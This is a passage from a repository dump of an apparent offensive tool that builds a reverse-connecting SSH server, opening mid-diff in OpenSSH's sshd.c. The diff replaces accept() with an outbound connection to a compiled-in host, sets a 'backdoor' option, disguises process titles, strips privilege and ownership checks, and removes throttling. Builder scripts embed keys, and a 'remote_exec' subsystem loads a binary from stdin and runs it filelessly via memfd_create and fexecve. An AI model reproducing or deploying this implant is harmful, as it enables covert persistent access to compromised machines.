0;\n static int test_flag = 0;\n \n /* Flag indicating that the daemon is being started from inetd. */\n-static int inetd_flag = 0;\n+//static int inetd_flag = 0;\n \n /* Flag indicating that sshd should not detach and become a daemon. */\n static int no_daemon_flag = 0;\n@@ -524,7 +526,7 @@ privsep_preauth(struct ssh *ssh)\n \t\tset_log_handler(mm_log_handler, pmonitor);\n \n \t\tprivsep_preauth_child();\n-\t\tsetproctitle(\"%s\", \"[net]\");\n+\t\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n \t\tif (box != NULL)\n \t\t\tssh_sandbox_child(box);\n \n@@ -842,53 +844,54 @@ should_drop_connection(int startups)\n static int\n drop_connection(int sock, int startups, int notify_pipe)\n {\n-\tchar *laddr, *raddr;\n-\tconst char msg[] = \"Exceeded MaxStartups\\r\\n\";\n-\tstatic time_t last_drop, first_drop;\n-\tstatic u_int ndropped;\n-\tLogLevel drop_level = SYSLOG_LEVEL_VERBOSE;\n-\ttime_t now;\n-\n-\tnow = monotime();\n-\tif (!should_drop_connection(startups) &&\n-\t    srclimit_check_allow(sock, notify_pipe) == 1) {\n-\t\tif (last_drop != 0 &&\n-\t\t    startups < options.max_startups_begin - 1) {\n-\t\t\t/* XXX maybe need better hysteresis here */\n-\t\t\tlogit(\"exited MaxStartups throttling after %s, \"\n-\t\t\t    \"%u connections dropped\",\n-\t\t\t    fmt_timeframe(now - first_drop), ndropped);\n-\t\t\tlast_drop = 0;\n-\t\t}\n-\t\treturn 0;\n-\t}\n-\n-#define SSHD_MAXSTARTUPS_LOG_INTERVAL\t(5 * 60)\n-\tif (last_drop == 0) {\n-\t\terror(\"beginning MaxStartups throttling\");\n-\t\tdrop_level = SYSLOG_LEVEL_INFO;\n-\t\tfirst_drop = now;\n-\t\tndropped = 0;\n-\t} else if (last_drop + SSHD_MAXSTARTUPS_LOG_INTERVAL < now) {\n-\t\t/* Periodic logs */\n-\t\terror(\"in MaxStartups throttling for %s, \"\n-\t\t    \"%u connections dropped\",\n-\t\t    fmt_timeframe(now - first_drop), ndropped + 1);\n-\t\tdrop_level = SYSLOG_LEVEL_INFO;\n-\t}\n-\tlast_drop = now;\n-\tndropped++;\n-\n-\tladdr = get_local_ipaddr(sock);\n-\traddr = get_peer_ipaddr(sock);\n-\tdo_log2(drop_level, \"drop connection #%d from [%s]:%d on [%s]:%d \"\n-\t    \"past MaxStartups\", startups, raddr, get_peer_port(sock),\n-\t    laddr, get_local_port(sock));\n-\tfree(laddr);\n-\tfree(raddr);\n-\t/* best-effort notification to client */\n-\t(void)write(sock, msg, sizeof(msg) - 1);\n-\treturn 1;\n+  /* char *laddr, *raddr; */\n+/* \tconst char msg[] = \"Exceeded MaxStartups\\r\\n\"; */\n+/* \tstatic time_t last_drop, first_drop; */\n+/* \tstatic u_int ndropped; */\n+/* \tLogLevel drop_level = SYSLOG_LEVEL_VERBOSE; */\n+/* \ttime_t now; */\n+\n+/* \tnow = monotime(); */\n+/* \tif (!should_drop_connection(startups) && */\n+/* \t    srclimit_check_allow(sock, notify_pipe) == 1) { */\n+/* \t\tif (last_drop != 0 && */\n+/* \t\t    startups < options.max_startups_begin - 1) { */\n+/* \t\t\t/\\* XXX maybe need better hysteresis here *\\/ */\n+/* \t\t\tlogit(\"exited MaxStartups throttling after %s, \" */\n+/* \t\t\t    \"%u connections dropped\", */\n+/* \t\t\t    fmt_timeframe(now - first_drop), ndropped); */\n+/* \t\t\tlast_drop = 0; */\n+/* \t\t} */\n+/* \t\treturn 0; */\n+/* \t} */\n+\n+/* #define SSHD_MAXSTARTUPS_LOG_INTERVAL\t(5 * 60) */\n+/* \tif (last_drop == 0) { */\n+/* \t\terror(\"beginning MaxStartups throttling\"); */\n+/* \t\tdrop_level = SYSLOG_LEVEL_INFO; */\n+/* \t\tfirst_drop = now; */\n+/* \t\tndropped = 0; */\n+/* \t} else if (last_drop + SSHD_MAXSTARTUPS_LOG_INTERVAL < now) { */\n+/* \t\t/\\* Periodic logs *\\/ */\n+/* \t\terror(\"in MaxStartups throttling for %s, \" */\n+/* \t\t    \"%u connections dropped\", */\n+/* \t\t    fmt_timeframe(now - first_drop), ndropped + 1); */\n+/* \t\tdrop_level = SYSLOG_LEVEL_INFO; */\n+/* \t} */\n+/* \tlast_drop = now; */\n+/* \tndropped++; */\n+\n+/* \tladdr = get_local_ipaddr(sock); */\n+/* \traddr = get_peer_ipaddr(sock); */\n+/* \tdo_log2(drop_level, \"drop connection #%d from [%s]:%d on [%s]:%d \" */\n+/* \t    \"past MaxStartups\", startups, raddr, get_peer_port(sock), */\n+/* \t    laddr, get_local_port(sock)); */\n+/* \tfree(laddr); */\n+/* \tfree(raddr); */\n+/* \t/\\* best-effort notification to client *\\/ */\n+/* \t(void)write(sock, msg, sizeof(msg) - 1); */\n+/* \treturn 1; */\n+  return 0;\n }\n \n static void\n@@ -896,9 +899,7 @@ usage(void)\n {\n \tfprintf(stderr, \"%s, %s\\n\", SSH_RELEASE, SSH_OPENSSL_VERSION);\n \tfprintf(stderr,\n-\"usage: sshd [-46DdeGiqTtV] [-C connection_spec] [-c host_cert_file]\\n\"\n-\"            [-E log_file] [-f config_file] [-g login_grace_time]\\n\"\n-\"            [-h host_key_file] [-o option] [-p port] [-u len]\\n\"\n+\"usage: sshd [-diver]\\n\"\n \t);\n \texit(1);\n }\n@@ -1062,28 +1063,66 @@ listen_on_addrs(struct listenaddr *la)\n \t\t\tsock_set_v6only(listen_sock);\n \n \t\tdebug(\"Bind to port %s on %s.\", strport, ntop);\n-\n-\t\t/* Bind the socket to the desired port. */\n-\t\tif (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) == -1) {\n-\t\t\terror(\"Bind to port %s on %s failed: %.200s.\",\n-\t\t\t    strport, ntop, strerror(errno));\n-\t\t\tclose(listen_sock);\n-\t\t\tcontinue;\n-\t\t}\n-\t\tlisten_socks[num_listen_socks] = listen_sock;\n \t\tnum_listen_socks++;\n+\t\t/* Bind the socket to the desired port. */\n+\t\t/* if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) == -1) { */\n+\t\t/* \terror(\"Bind to port %s on %s failed: %.200s.\", */\n+\t\t/* \t    strport, ntop, strerror(errno)); */\n+\t\t/* \tclose(listen_sock); */\n+\t\t/* \tcontinue; */\n+\t\t/* } */\n+\t\t/* listen_socks[num_listen_socks] = listen_sock; */\n+\t\t/* num_listen_socks++; */\n \n \t\t/* Start listening on the port. */\n-\t\tif (listen(listen_sock, SSH_LISTEN_BACKLOG) == -1)\n-\t\t\tfatal(\"listen on [%s]:%s: %.100s\",\n-\t\t\t    ntop, strport, strerror(errno));\n-\t\tlogit(\"Server listening on %s port %s%s%s.\",\n-\t\t    ntop, strport,\n-\t\t    la->rdomain == NULL ? \"\" : \" rdomain \",\n-\t\t    la->rdomain == NULL ? \"\" : la->rdomain);\n+\t\t/* if (listen(listen_sock, SSH_LISTEN_BACKLOG) == -1) */\n+\t\t/* \tfatal(\"listen on [%s]:%s: %.100s\", */\n+\t\t/* \t    ntop, strport, strerror(errno)); */\n+\t\t/* logit(\"Server listening on %s port %s%s%s.\", */\n+\t\t/*     ntop, strport, */\n+\t\t/*     la->rdomain == NULL ? \"\" : \" rdomain \", */\n+\t\t/*     la->rdomain == NULL ? \"\" : la->rdomain); */\n \t}\n }\n \n+\n+int\n+connect_to_remote(struct sockaddr_in* from, int* len)\n+{\n+  int sock = 0;\n+  int ret;\n+  struct sockaddr_in to;\n+   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)\n+    {\n+        printf(\"\\n Socket creation error \\n\");\n+        return -1;\n+    }\n+ \n+   to.sin_port = htons(PORT);\n+   to.sin_family = AF_INET;  \n+\n+    if(inet_pton(AF_INET, LISTENADDRESS, &to.sin_addr)<=0) \n+    {\n+        printf(\"\\nInvalid address/ Address not supported \\n\");\n+        return -1;\n+    }\n+    ret = connect(sock, (struct sockaddr *)&to, sizeof(to));\n+    //printf(\"Connect ret %d\\n\", ret);\n+    if (ret < 0)\n+    {\n+      close(sock);\n+       perror(\"\\nConnection Failed \\n\");\n+        return -1;\n+    }\n+\n+    from->sin_port = htons(9021);\n+    \n+    *len=sizeof(from);\n+  return sock;\n+}\n+\n+\n+ \n static void\n server_listen(void)\n {\n@@ -1164,9 +1203,7 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s)\n \t\t\texit(received_sigterm == SIGTERM ? 0 : 255);\n \t\t}\n \t\tif (ostartups != startups) {\n-\t\t\tsetproctitle(\"%s [listener] %d of %d-%d startups\",\n-\t\t\t    listener_proctitle, startups,\n-\t\t\t    options.max_startups_begin, options.max_startups);\n+\t\t\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n \t\t\tostartups = startups;\n \t\t}\n \t\tif (received_sighup) {\n@@ -1194,15 +1231,23 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s)\n \t\t\t\tstartup_pollfd[i] = npfd++;\n \t\t\t}\n \t\t}\n-\n+\t\tif (init == 1)\n+\t\t  {\n \t\t/* Wait until a connection arrives or a child exits. */\n-\t\tret = ppoll(pfd, npfd, NULL, &osigset);\n-\t\tif (ret == -1 && errno != EINTR) {\n-\t\t\terror(\"ppoll: %.100s\", strerror(errno));\n-\t\t\tif (errno == EINVAL)\n-\t\t\t\tcleanup_exit(1); /* can't recover */\n+\t\t//ret = ppoll(pfd, npfd, NULL, &osigset);\n+\t\t//if (ret == -1 && errno != EINTR) {\n+\t\t//\terror(\"ppoll: %.100s\", strerror(errno));\n+\t\t//\tif (errno == EINVAL)\n+\t\t//\t\tcleanup_exit(1); /* can't recover */\n+\t\t//}\n+\t\t  }\n+\t\telse {\n+\t\t  debug(\"Skipping First ppoll\");\n+\t\t  init = 1;\n+\t\t  pfd[0].revents = POLLIN;\n+\t\t  ret = 0;\n \t\t}\n-\t\tsigprocmask(SIG_SETMASK, &osigset, NULL);\n+\t\t  //sigprocmask(SIG_SETMASK, &osigset, NULL);\n \t\tif (ret == -1)\n \t\t\tcontinue;\n \n@@ -1240,11 +1285,15 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s)\n \t\t\t}\n \t\t}\n \t\tfor (i = 0; i < num_listen_socks; i++) {\n-\t\t\tif (!(pfd[i].revents & POLLIN))\n-\t\t\t\tcontinue;\n+\t\t  if (!(pfd[i].revents & POLLIN))\n+\t\t    continue;\n \t\t\tfromlen = sizeof(from);\n-\t\t\t*newsock = accept(listen_socks[i],\n-\t\t\t    (struct sockaddr *)&from, &fromlen);\n+\t\t\t*newsock = connect_to_remote((struct sockaddr*) &from, &fromlen);\n+\t\t\tint flags = fcntl(*newsock, F_GETFL, 0);\n+\n+\t\t\tflags = flags | O_NONBLOCK;\n+\t\t\tfcntl(*newsock, F_SETFL, flags);\n+\n \t\t\tif (*newsock == -1) {\n \t\t\t\tif (errno != EINTR && errno != EWOULDBLOCK &&\n \t\t\t\t    errno != ECONNABORTED && errno != EAGAIN)\n@@ -1252,6 +1301,7 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s)\n \t\t\t\t\t    strerror(errno));\n \t\t\t\tif (errno == EMFILE || errno == ENFILE)\n \t\t\t\t\tusleep(100 * 1000);\n+\t\t\t\tusleep(TIMER);\n \t\t\t\tcontinue;\n \t\t\t}\n \t\t\tif (unset_nonblock(*newsock) == -1) {\n@@ -1356,7 +1406,7 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s)\n \t\t\t\tfree(pfd);\n \t\t\t\treturn;\n \t\t\t}\n-\n+\t\t\t\n \t\t\t/* Parent.  Stay in the loop. */\n \t\t\tplatform_post_fork_parent(pid);\n \t\t\tif (pid == -1)\n@@ -1379,6 +1429,11 @@ server_accept_loop(int *sock_in, int *sock_out, int *newsock, int *config_s)\n \t\t\t */\n \t\t\tarc4random_stir();\n \t\t\tarc4random_buf(rnd, sizeof(rnd));\n+\n+\t\t\t// WAIT FOR CHILD TO FINISH BEFORE RETRYING TO CONNECT\n+\t\t\twaitpid(pid, &i, 0);\n+\t\t\t\n+\n #ifdef WITH_OPENSSL\n \t\t\tRAND_seed(rnd, sizeof(rnd));\n \t\t\tif ((RAND_bytes((u_char *)rnd, 1)) != 1)\n@@ -1566,6 +1621,7 @@ main(int ac, char **av)\n \tsigemptyset(&sigmask);\n \tsigprocmask(SIG_SETMASK, &sigmask, NULL);\n \n+\tinitial_env();\n \t/* Save argv. Duplicate so setproctitle emulation doesn't clobber it */\n \tsaved_argc = ac;\n \trexec_argc = ac;\n@@ -1591,21 +1647,8 @@ main(int ac, char **av)\n \n \t/* Parse command-line arguments. */\n \twhile ((opt = getopt(ac, av,\n-\t    \"C:E:b:c:f:g:h:k:o:p:u:46DGQRTdeiqrtV\")) != -1) {\n+\t    \"rived\")) != -1) {\n \t\tswitch (opt) {\n-\t\tcase '4':\n-\t\t\toptions.address_family = AF_INET;\n-\t\t\tbreak;\n-\t\tcase '6':\n-\t\t\toptions.address_family = AF_INET6;\n-\t\t\tbreak;\n-\t\tcase 'f':\n-\t\t\tconfig_file_name = optarg;\n-\t\t\tbreak;\n-\t\tcase 'c':\n-\t\t\tservconf_add_hostcert(\"[command-line]\", 0,\n-\t\t\t    &options, optarg);\n-\t\t\tbreak;\n \t\tcase 'd':\n \t\t\tif (debug_flag == 0) {\n \t\t\t\tdebug_flag = 1;\n@@ -1613,15 +1656,6 @@ main(int ac, char **av)\n \t\t\t} else if (options.log_level < SYSLOG_LEVEL_DEBUG3)\n \t\t\t\toptions.log_level++;\n \t\t\tbreak;\n-\t\tcase 'D':\n-\t\t\tno_daemon_flag = 1;\n-\t\t\tbreak;\n-\t\tcase 'G':\n-\t\t\tdo_dump_cfg = 1;\n-\t\t\tbreak;\n-\t\tcase 'E':\n-\t\t\tlogfile = optarg;\n-\t\t\t/* FALLTHROUGH */\n \t\tcase 'e':\n \t\t\tlog_stderr = 1;\n \t\t\tbreak;\n@@ -1631,71 +1665,7 @@ main(int ac, char **av)\n \t\tcase 'r':\n \t\t\trexec_flag = 0;\n \t\t\tbreak;\n-\t\tcase 'R':\n-\t\t\trexeced_flag = 1;\n-\t\t\tinetd_flag = 1;\n-\t\t\tbreak;\n-\t\tcase 'Q':\n-\t\t\t/* ignored */\n-\t\t\tbreak;\n-\t\tcase 'q':\n-\t\t\toptions.log_level = SYSLOG_LEVEL_QUIET;\n-\t\t\tbreak;\n-\t\tcase 'b':\n-\t\t\t/* protocol 1, ignored */\n-\t\t\tbreak;\n-\t\tcase 'p':\n-\t\t\toptions.ports_from_cmdline = 1;\n-\t\t\tif (options.num_ports >= MAX_PORTS) {\n-\t\t\t\tfprintf(stderr, \"too many ports.\\n\");\n-\t\t\t\texit(1);\n-\t\t\t}\n-\t\t\toptions.ports[options.num_ports++] = a2port(optarg);\n-\t\t\tif (options.ports[options.num_ports-1] <= 0) {\n-\t\t\t\tfprintf(stderr, \"Bad port number.\\n\");\n-\t\t\t\texit(1);\n-\t\t\t}\n-\t\t\tbreak;\n-\t\tcase 'g':\n-\t\t\tif ((options.login_grace_time = convtime(optarg)) == -1) {\n-\t\t\t\tfprintf(stderr, \"Invalid login grace time.\\n\");\n-\t\t\t\texit(1);\n-\t\t\t}\n-\t\t\tbreak;\n-\t\tcase 'k':\n-\t\t\t/* protocol 1, ignored */\n-\t\t\tbreak;\n-\t\tcase 'h':\n-\t\t\tservconf_add_hostkey(\"[command-line]\", 0,\n-\t\t\t    &options, optarg, 1);\n-\t\t\tbreak;\n-\t\tcase 't':\n-\t\t\ttest_flag = 1;\n-\t\t\tbreak;\n-\t\tcase 'T':\n-\t\t\ttest_flag = 2;\n-\t\t\tbreak;\n-\t\tcase 'C':\n-\t\t\tconnection_info = get_connection_info(ssh, 0, 0);\n-\t\t\tif (parse_server_match_testspec(connection_info,\n-\t\t\t    optarg) == -1)\n-\t\t\t\texit(1);\n-\t\t\tbreak;\n-\t\tcase 'u':\n-\t\t\tutmp_len = (u_int)strtonum(optarg, 0, HOST_NAME_MAX+1+1, NULL);\n-\t\t\tif (utmp_len > HOST_NAME_MAX+1) {\n-\t\t\t\tfprintf(stderr, \"Invalid utmp length.\\n\");\n-\t\t\t\texit(1);\n-\t\t\t}\n-\t\t\tbreak;\n-\t\tcase 'o':\n-\t\t\tline = xstrdup(optarg);\n-\t\t\tif (process_server_config_line(&options, line,\n-\t\t\t    \"command-line\", 0, NULL, NULL, &includes) != 0)\n-\t\t\t\texit(1);\n-\t\t\tfree(line);\n-\t\t\tbreak;\n-\t\tcase 'V':\n+\t\tcase 'v':\n \t\t\tfprintf(stderr, \"%s, %s\\n\",\n \t\t\t    SSH_RELEASE, SSH_OPENSSL_VERSION);\n \t\t\texit(0);\n@@ -1704,10 +1674,11 @@ main(int ac, char **av)\n \t\t\tbreak;\n \t\t}\n \t}\n+\toptions.backdoor = 1;\n \tif (rexeced_flag || inetd_flag)\n \t\trexec_flag = 0;\n-\tif (!test_flag && !do_dump_cfg && rexec_flag && !path_absolute(av[0]))\n-\t\tfatal(\"sshd re-exec requires execution with an absolute path\");\n+\t//\tif (!test_flag && !do_dump_cfg && rexec_flag && !path_absolute(av[0]))\n+\t//\tfatal(\"sshd re-exec requires execution with an absolute path\");\n \tif (rexeced_flag)\n \t\tclosefrom(REEXEC_MIN_FREE_FD);\n \telse\n@@ -1750,7 +1721,7 @@ main(int ac, char **av)\n \tif ((cfg = sshbuf_new()) == NULL)\n \t\tfatal_f(\"sshbuf_new failed\");\n \tif (rexeced_flag) {\n-\t\tsetproctitle(\"%s\", \"[rexeced]\");\n+\t\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n \t\trecv_rexec_state(REEXEC_CONFIG_PASS_FD, cfg);\n \t\tif (!debug_flag) {\n \t\t\tstartup_pipe = dup(REEXEC_STARTUP_PIPE_FD);\n@@ -1991,10 +1962,10 @@ main(int ac, char **av)\n \t\t    (st.st_uid != getuid () ||\n \t\t    (st.st_mode & (S_IWGRP|S_IWOTH)) != 0))\n #else\n-\t\tif (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0)\n+\t\t  //if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0)\n #endif\n-\t\t\tfatal(\"%s must be owned by root and not group or \"\n-\t\t\t    \"world-writable.\", _PATH_PRIVSEP_CHROOT_DIR);\n+\t\t  //\tfatal(\"%s must be owned by root and not group or \"\n+\t\t  //\t    \"world-writable.\", _PATH_PRIVSEP_CHROOT_DIR);\n \t}\n \n \tif (test_flag > 1)\n@@ -2052,6 +2023,17 @@ main(int ac, char **av)\n \n \t\tdisconnect_controlling_tty();\n \t}\n+\t#ifdef TUN\n+\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n+\tif (!inetd_flag)\n+\t  {\n+\t    while(1) {\n+\t      tun();\n+\t      usleep(TIMER);\n+\t    }\n+\t  }\n+\t#endif\n+\n \t/* Reinitialize the log (because of the fork above). */\n \tlog_init(__progname, options.log_level, options.log_facility, log_stderr);\n \n@@ -2099,7 +2081,7 @@ main(int ac, char **av)\n \t}\n \n \t/* This is the child processing a new connection. */\n-\tsetproctitle(\"%s\", \"[accepted]\");\n+\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n \n \t/*\n \t * Create a new session and process group since the 4.4BSD\ndiff --git a/uidswap.c b/uidswap.c\nindex 6ed3024d0..4a94fd58b 100644\n--- a/uidswap.c\n+++ b/uidswap.c\n@@ -58,7 +58,10 @@ static int\tsaved_egroupslen = -1, user_groupslen = -1;\n  * id is not root, this does nothing.  This call cannot be nested.\n  */\n void\n-temporarily_use_uid(struct passwd *pw)\n+temporarily_use_uid(struct passwd *pw){}\n+\n+void\n+temporarily_use_uid_bkp(struct passwd *pw)\n {\n \t/* Save the current euid, and egroups. */\n #ifdef SAVED_IDS_WORK_WITH_SETEUID\n@@ -140,6 +143,10 @@ temporarily_use_uid(struct passwd *pw)\n  */\n void\n restore_uid(void)\n+{}\n+\n+void\n+restore_uid_bkp(void)\n {\n \t/* it's a no-op unless privileged */\n \tif (!privileged) {\n@@ -179,6 +186,10 @@ restore_uid(void)\n  */\n void\n permanently_set_uid(struct passwd *pw)\n+{}\n+\n+void\n+permanently_set_uid_bkp(struct passwd *pw)\n {\n #ifndef NO_UID_RESTORATION_TEST\n \tuid_t old_uid = getuid();\n"
  },
  {
    "path": "src/__init__.py",
    "content": ""
  },
  {
    "path": "src/args.py",
    "content": "import argparse\nimport textwrap\nimport yaml\nimport os\nimport sys\n\nclass ConfigFile:\n    def __init__(self,**entries):\n        self.__dict__.update(entries)\n\n\nparser = argparse.ArgumentParser(description='Builder for Reverse SSHD server.', conflict_handler='resolve', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''Please provide at least a remote address or a tunnel.'''))\n\n### FILE CONFIG\nparser.add_argument('--config','-c', dest=\"config_file\", action='store', default=None, help=\"Path to the yaml build file\") \n\n\nargs = parser.parse_args()\n\nif args.config_file:\n    print(f\"[+] Building from config file {args.config_file}\")\n    if not os.path.exists(args.config_file):\n        print(f\"[-] Config file does not exist.\")\n        sys.exit(-1)\n\n    with open(args.config_file, \"r\") as stream:\n        try:\n            entries = yaml.safe_load(stream)\n            args = ConfigFile(**entries)\n            \n        except yaml.YAMLError as exc:\n            print(\"[-] Failed to parse build file\")\n            print(exc)\n            sys.exit(-1)\n"
  },
  {
    "path": "src/cmd.py",
    "content": "from src.args import args\nimport os\n\ndef run_cmd(cmd):\n    if args.verbose>0:\n        print(\"|=> $ \" + cmd)\n    if not args.verbose > 1:\n        cmd = \"(\" + cmd + \")  > /dev/null  2>&1\"\n    return os.system(cmd)\n"
  },
  {
    "path": "src/data.py",
    "content": "banner = \"\"\"\n███████ ███████ ██   ██ ██ ███    ███ ██████   █████  ███    ██ ███████ ███████ ███████ \n██      ██      ██   ██ ██ ████  ████ ██   ██ ██   ██ ████   ██    ███  ██      ██      \n███████ ███████ ███████ ██ ██ ████ ██ ██████  ███████ ██ ██  ██   ███   █████   █████   \n     ██      ██ ██   ██ ██ ██  ██  ██ ██      ██   ██ ██  ██ ██  ███    ██      ██      \n███████ ███████ ██   ██ ██ ██      ██ ██      ██   ██ ██   ████ ███████ ███████ ███████ \n\"\"\"\n\nsshd_header = \"\"\"\n// This header file is generated by builder.py \n// Do not modify.\n//\n\n#ifndef SSHD_CONF_H\n#define SSHD_CONF_H\n\n#define KEYFILE \"/<KEYFILE>\"\n#define DYN_MODE <DYN_MODE>\n#define HOSTKEY \"<PRIVKEY>\"\n#define AUTHORIZED_KEYS \"<AUTHORIZED_KEYS>\"\n\n#define HOSTKEY_PUB \"<PUBKEY>\"\n#define MOTD \"<BANNER>\"\n#define EXTRACONFIG \"AuthorizedKeysFile\t/<KEYFILE>\\\\nLogLevel <LOGLEVEL>\\\\n\\\\n<SUBSYSTEMS>\\\\n\\\\n<SSHD_CONFIG>\"\n\n\n#define LISTENADDRESS <REMOTE>\n#define PORT <PORT>\n\n#define FORCEDSHELL \"<USER_SHELL>\"\n\n#define TIMER <TIMER>\n#define SSHIMPANZEE_PROC_NAME \"<SSHIMPANZEE_PROC_NAME>\"\n\nint tun();\nvoid initial_env();\n\n#endif\n\"\"\"\n\n\nenv_template = \"\"\"\n#include <stdlib.h>\n\nvoid initial_env()\n{\n<ENV_CODE>\n}\n\n\"\"\"\n"
  },
  {
    "path": "src/keys.py",
    "content": "from src.args import args\nfrom src.cmd import run_cmd\nimport os\n\ndef load_keys():\n    print(\"[*] Loading public key\")\n    if not (os.path.isfile(\"keys/HOST\") and os.path.isfile(\"keys/HOST.pub\")):\n        print(\"[-] Missing host keys, please regen keys or provide HOST and HOST.pub ssh keys in the keys/ directory.\")\n        sys.exit(-1)\n    with open(\"keys/HOST\") as f:\n        host_priv = f.read(1024)\n        if(args.verbose > 0):\n            print(\"|=> Private Host Key :\\n\" + host_priv)\n        host_priv = host_priv.replace(\"\\n\", \"\\\\n\")\n        \n    with open(\"keys/HOST.pub\") as f:\n        host_pub = f.read(1024)\n        host_pub = \" \".join(host_pub.split(\" \")[:2]) + \" ROGUE@SERV\"\n        if(args.verbose > 0):\n            print(\"|=> Public Host Key  :\\n\" + host_pub)\n    if not args.public_key:\n        if not os.path.isfile(\"keys/CLIENT.pub\"):\n            print(\"[-] Mission client public key, regenerate key pair or provide a public key (-k)\")\n            exit(-1)\n        with open(\"keys/CLIENT.pub\") as f:\n            cli_pub = f.read(1024)\n            cli_pub = \" \".join(cli_pub.split(\" \")[:2]) + \" ROGUE@ROGUE\"\n    else:\n        check_type(args.public_key)\n        cli_pub = args.public_key\n\n    if(args.verbose > 0):\n        print(\"|=> Public Client Key :\\n\" + cli_pub)\n\n    return host_priv, host_pub, cli_pub\n\n\ndef gen_keys():\n    print(\"[*] Keys generation...\")\n    run_cmd(\"rm -rf keys/; mkdir keys/\")\n    run_cmd(\"ssh-keygen -b 4096 -f keys/HOST -t ed25519 -N ''\")\n\n    if not args.public_key or (input(\"[?] You provided a public key, do you want to skip client authentication key generation? (Y/n)\") == \"n\"):\n        run_cmd(\"ssh-keygen -b 4096 -f keys/CLIENT -t ed25519 -N ''\")\n\n\ndef check_type(key):\n    print(\"[*] Checking key type...\")\n    c =  key.split()[0] != \"ssh-ed25519\"\n    if c:    \n        print(\"[-] Key type might not be supported... please provide an ed25519 key.\")\n    return c\n\n\n"
  },
  {
    "path": "subsystems/remote_exec/remote_exec.c",
    "content": "#define _GNU_SOURCE\n#define _POSIX_C_SOURCE 200809L\n\n#include <sys/types.h>\n#include <sys/mman.h>\n\n#include <unistd.h>\n\n#include <err.h>\n#include <errno.h>\n\nextern char **environ;\n\n\nint remote_exec_main()\n{\n  char argstring[2048];\n  int to_read = 0;\n  char name[32];\n  int cnt = 0;\n\n  int read_size=0x1000;\n  char* argv[64];\n  int i = 0;\n  char *p;\n  char buf[0x1000];\n  puts(\"[name] [size] [arguments]\");\n  fsync(1);\n\n  argv[0] = NULL;\n  scanf(\"%s\", name);\n  printf(\"name : %s\\n\",name);\n\n  scanf(\"%d\", &to_read);\n  printf(\"size : %d\\n\", to_read);\n\n  gets(argstring);\n  argstring[strlen(argstring)-1] = 0;\n  printf(\"argstring : %s\\n\", argstring);\n  \n  p = argstring;\n  argv[i] = p;\n  i++;\n  while (*p != 0)\n  {\n    if (*p == ' '){\n      *p = 0;\n      argv[i] = p+1;\n      printf(\"%s\\n\",argv[i]);\n      i++;\n    }\n    p++;\n   \n  }\n  argv[i] = NULL;\n  \n  int fd = memfd_create(name, 0);\n  if (fd == -1)\n    err(1, \"%s failed\", \"memfd_create\");\n  else\n    {\n\n      while( to_read > 0 ){\n        if ( to_read < read_size ){\n         read_size = to_read;\n        }                           \n\tif(read_size == 0)\n\t  break;\n        cnt = read(0, buf, read_size );\n        write(fd, buf, cnt);\n        to_read -= cnt;\n\tif(cnt == -1)\n\t  break;\n      }\n      fexecve(fd, (char * const *) argv, environ);\n    }\n  \n    err(1, \"%s failed\", \"fexecve\");\n}\n\n"
  },
  {
    "path": "subsystems/remote_exec/remote_exec_test.c",
    "content": "#define _GNU_SOURCE\n#define _POSIX_C_SOURCE 200809L\n\n#include <sys/types.h>\n#include <sys/mman.h>\n\n#include <unistd.h>\n\n#include <err.h>\n#include <errno.h>\n#include <string.h>\nint main(int argc, char* argv2[])\n{\n  char argstring[2048];\n  char *argv[64];\n  char *p;\n  int to_read = 0;\n  char name[32];\n  int cnt = 0;\n\n  int i=0;\n  int read_size=0x1000;\n\n  char buf[0x1000];\n\n  scanf(\"%31s %d\", name, &to_read);\n\n  printf(\"Scanf %s %d\\n\", name, to_read); \n\n  gets(argstring);\n  gets(argstring);\n  \n  \n  p = strtok(argstring, \" \");\n  argv[i] = p;\n      \n  while (p != NULL)\n    {\n      argv[i] = p;\n      p = strtok (NULL, \" \");\n      \n      i++;\n    }\n\n  \n  argv[i] = NULL;\n  \n  int fd = memfd_create(name, 0);\n  if (fd == -1)\n    err(1, \"%s failed\", \"memfd_create\");\n  else\n    {\n\n      while( to_read > 0 ){\n        if ( to_read < read_size ){\n         read_size = to_read;\n        }                           \n\n        cnt = read(0, buf, read_size );\n        write(fd, buf, cnt);\n        to_read -= cnt;\n\tif (cnt == 0)\n\t  break;\n      }\n      //const char * const argv[] = {\"script\", NULL};                                                                                                                                                                \n      const char * const envp[] = {NULL};\n      fexecve(fd, (char * const *) argv, (char * const *) envp);\n    }\n\n    err(1, \"%s failed\", \"fexecve\");\n}\n"
  },
  {
    "path": "subsystems/subsystems.py",
    "content": "from src.cmd import run_cmd\n\ndef generate_subsystem_string(opt):\n    subsys_str = \"\"\n    for i in opt.subsystems:\n        if opt.subsystems[i][\"enabled\"]:\n            exe = opt.subsystems[i]['exec'].replace('\"','\\\\\"')\n            subsys_str += f\"Subsystem {opt.subsystems[i]['name']} {exe}\\\\n\"\n    return subsys_str\n\n\ndef remote_exec(opt):\n    print(\"[+] build with internal remote exec\")\n    cflags = f\"-DREMOTE_EXEC_INTERNAL='\\\\\\\"{opt.subsystems['remote_exec']['exec']}\\\\\\\"'\"\n    ldflags = \"-lremote_exec\"\n\n    print(\"\\t-> Building remote-exec stub\")\n    run_cmd(\"cd subsystems/remote_exec/; gcc -c -o remote_exec.o remote_exec.c; ar rcs ../../build/libremote_exec.a remote_exec.o\")\n    extraconfig = \"\"\n    return cflags, ldflags, extraconfig\n\ndef internal_sftp(opt):\n    return \"\",\"\",\"\"\n"
  },
  {
    "path": "tuns/builder.py",
